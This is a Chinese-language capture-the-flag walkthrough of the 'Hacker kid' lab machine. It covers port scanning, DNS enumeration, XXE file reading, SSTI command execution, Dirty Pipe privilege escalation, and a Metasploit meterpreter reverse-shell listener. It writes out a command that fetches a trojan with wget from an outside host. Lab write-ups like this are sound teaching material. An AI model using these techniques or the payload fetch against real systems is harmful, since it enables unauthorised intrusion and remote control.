靶机下载链接:Hacker kid: 1.0.1

一、信息收集

1、主机发现

使用arp-scan扫描内网主机

image-20241027141327641

2.端口扫描

使用nmap -T4 -sV -p 0-65535 192.168.22.137进行端口扫描

image-20241027141507775

二、打靶

靶机在 80 9999端口开放了web服务。。在53端口开放了DNS服务

访问web页面

image-20241027141731292

9999端口开放一个登录页面

image-20241027141749020

80端口这边前端源码中说让用GET传参传一个page_no参数

image-20241027141856028

传入page_no = 1页面多了一个红字

传入page_no = 21时给了一个域名

image-20241027141946625

dig工具查询DNS信息 并指定DNS服务器为192.168.22.137得到了一个新的域名

image-20241027142151732

修改一下本地host文件

image-20241027142309044

进入这个地址,是一个注册账号的页面。如果Email不正确会进行回显

image-20241027142437948

数据包是以XXE文档进行传输的,试一下XXE注入

image-20241027142626602

可以进行文件读取

image-20241027142856126

有一个saket用户,用PHP伪协议去读取.bashrc文件

为什么要读取.zshrc文件呢?

1
.bashrc 文件是一个用于配置 Bash shell 环境的脚本文件,通常位于用户的主目录中。它在用户登录时或者每次打开一个新的终端窗口时执行。这个文件可以用来设置环境变量、别名、函数以及其他一些 shell 的行为。

image-20241027143653978

将读取到的东西base64解码一下

image-20241027143715247

9999端口运行的登录框就是用python的flask写的

用得到的账号和密码进行登录用账号admin密码Saket!#$%@!!登录进行登录失败

将用户名换成saket进行登录,成功登录

image-20241027143923878

传入name=1

image-20241027143941093

推测可能存在ssti模板注入漏洞

成功命令执行

image-20241027144043089

存在wget工具

image-20241027144247064

远程下载一个木马wget 39.1*.**.**3/kali/asd -P /tmp然后赋予木马权限chmod 777 /tmp/asd

image-20241027144609292

在kali上面设置监听

1
2
3
4
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxxx

成功拿到shell

image-20241027144705224

对方用的是Ubuntu20.04版本且没用gcc编译器

image-20241027144801805

在本地用docker拉一个相同的环境,将编译好的攻击脚本下载到靶机上面

这里用脏管道漏洞进行提权

脏管道漏洞需要用到具有s权限的文件

find / -perm -u=s -type f 2>/dev/null查找具有s权限的文件

image-20241027145221216

成功提权

image-20241027145254219

改一下saket用户的密码

image-20241027145328470

成功登录系统

image-20241027145519158